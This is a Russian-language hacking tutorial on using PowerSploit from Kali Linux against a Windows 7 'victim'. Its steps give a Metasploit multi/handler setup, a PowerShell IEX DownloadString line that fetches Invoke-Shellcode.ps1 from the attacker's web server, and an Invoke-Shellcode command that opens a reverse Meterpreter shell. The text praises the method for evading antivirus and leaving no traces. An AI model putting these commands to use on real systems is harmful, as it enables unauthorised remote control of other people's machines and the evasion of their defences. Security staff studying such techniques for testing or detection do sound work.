Как использовать PowerSploit

Как использовать PowerSploit

Для хакеров PowerShell может стать мощным союзником в деле захвата управления системой.


Перевод: Сергиус Офицеров, разработчик и евангелист HackerU

Несколько лет назад, разработав оболочку PowerShell, компания Microsoft негласно признала превосходство терминала Linux над операционной системой на основе графического интерфейса. Начиная с Windows 7, в каждой версии Windows эта оболочка установлена по умолчанию. Более того, через PowerShell в Windows можно запускать команды Linux.

PowerShell – это мощная среда, благодаря которой в Windows можно сделать практически все, включая запуск сценариев. К сожалению, очень немногие администраторы используют ее, а некоторые даже не знают, что она существует.

Для хакеров PowerShell может стать мощным союзником в деле захвата управления системой. Если мы сумеем добраться до PowerShell, ее возможности позволят нам получить контроль над атакуемой системой и удержать его. Кроме того, при запуске команд и сценариев через PowerShell можно обойти бóльшую часть антивирусных программ и не оставить никаких следов своей деятельности.

Мэтт Грейбер разработал серию сценариев для PowerShell, которые помогут нам контролировать атакуемую систему и управлять ею. Эти специально созданные сценарии объединены под названием PowerSploit и встроены в Kali. Если вы не используете Kali, вы можете скачать их здесь.

Шаг 1. Запустите PowerSploit

Для начала запустите Kali. Чтобы начать работу с PowerSploit, используйте меню KaliLinux -> MaintainingAccess -> OSBackdoors -> powersploit. Или же просто откройте директорию /usr/share/powersploit в терминале.



Так вы попадёте директорию /usr/share/powersploit.



Все директории сценариев PowerSploit можно увидеть при помощи команды long listing.

kali > ls -l

Как можно видеть, имеется восемь директорий PowerSploit:

  1. AntivirusBypass
  2. CodeExecution
  3. Exfiltration
  4. Persistence
  5. PETools
  6. Recon
  7. ReverseEngineering
  8. ScriptModification

На этом уроке мы будем использовать сценарий Invoke-Shellcode из директории CodeExecution.



Шаг 2. Запустите веб-сервер

Следующий шаг – запуск веб-сервера в системе Kali, что поможет выполнить команды PowerSploit на машине-жертве. Есть множество способов сделать это. Например, можно скопировать директорию PowerSploit в /var/www/html и запустить веб-сервер Apache.

Более простое и элегантное решение – это запуск обычного веб-сервера Python в директории PowerSploit. Для этого, находясь в директории PowerSploit, введите:

kali > python -m SimpleHTTPServer



Теперь у нас есть веб-сервер, запущенный в директории PowerSploit. Это означает, что любой, кто к нему обращается, получит доступ к этой директории в нашей системе Kali.

Шаг 3. Запустите PowerSploit на машине жертвы

В ходе всей этой операции мы предполагаем, что у вас уже есть доступ к атакуемой машине и вы хотите добраться до Meterpreter и при этом обойти антивирусное ПО. Также будем считать, что в системе жертвы есть GUI, а также RDP или VNC.

Запустите PowerShell. Для этого в меню «Пуск» наберите PowerShell в строке поиска.



Щелкните по иконке PowerShell и запустите оболочку на машине-жертве.

Шаг 4. Откройте браузер и перейдите на веб-сервер Kali

Из атакуемой системы Windows 7 теперь мы можем перейти к веб-серверу на Kali.



Как мы видим, все сценарии PowerSploit можно загрузить с веб-сервера на машину-жертву.

Шаг 5. Запустите Multi/Handler на Kali

Нам понадобится multi/handler (мультиобработчик) системы Kali, чтобы установить связь с Meterpreter атакуемой системы. Запустите консоль Metasploit. Для этого наберите:

kali > msfconsole

Чтобы запустить multi/handler, используйте такие команды:

msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > set LHOST 192.168.181.128
msf > set LPORT 4444
msf > exploit

Как видно на скриншоте выше, теперь обработчик ожидает подключения со стороны системы-жертвы.

Шаг 6. Загрузите сценарий PowerSploit

В системе Windows 7 мы будем использовать PowerShell для загрузки сценария PowerSploit из Kali через простой веб-сервер Python. Для этого наберите:

> IEX(New-Object Net.WebClient).DownloadString ("http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1 ")

В системе Kali мы видим, что на веб-сервере Windows 7 был получен запрос GET из системы Windows 7. Таким образом, сценарий Invoke-Shellcode был загружен на машину с Windows 7.

Теперь в системе Windows 7 запускаем сценарий PowerSploit. Если мы все сделали правильно, его запуск начнет сеанс Meterpreter на машине Windows 7 в контексте процесса PowerShell.

PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 –Force



Шаг 7. Найдите сессию Meterpreter на Kali

Теперь вернемся к системе Kali и посмотрим, была ли открыта сессия Meterpreter. Для этого заглянем в msfconsole, где ожидали соединения multi/handler, и наберем:

sessions -l

Это покажет список всех открытых сессий.



Готово! Мы начали сеанс Meterpreter на атакуемом ПК. Особенность этого сеанса в том, что оболочка Meterpreter работает в контексте процесса PowerShell и потому не определяется антивирусным ПО. Кроме того, Meterpreter полностью работает в оперативной памяти и не оставляет данных на жестком диске.


Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!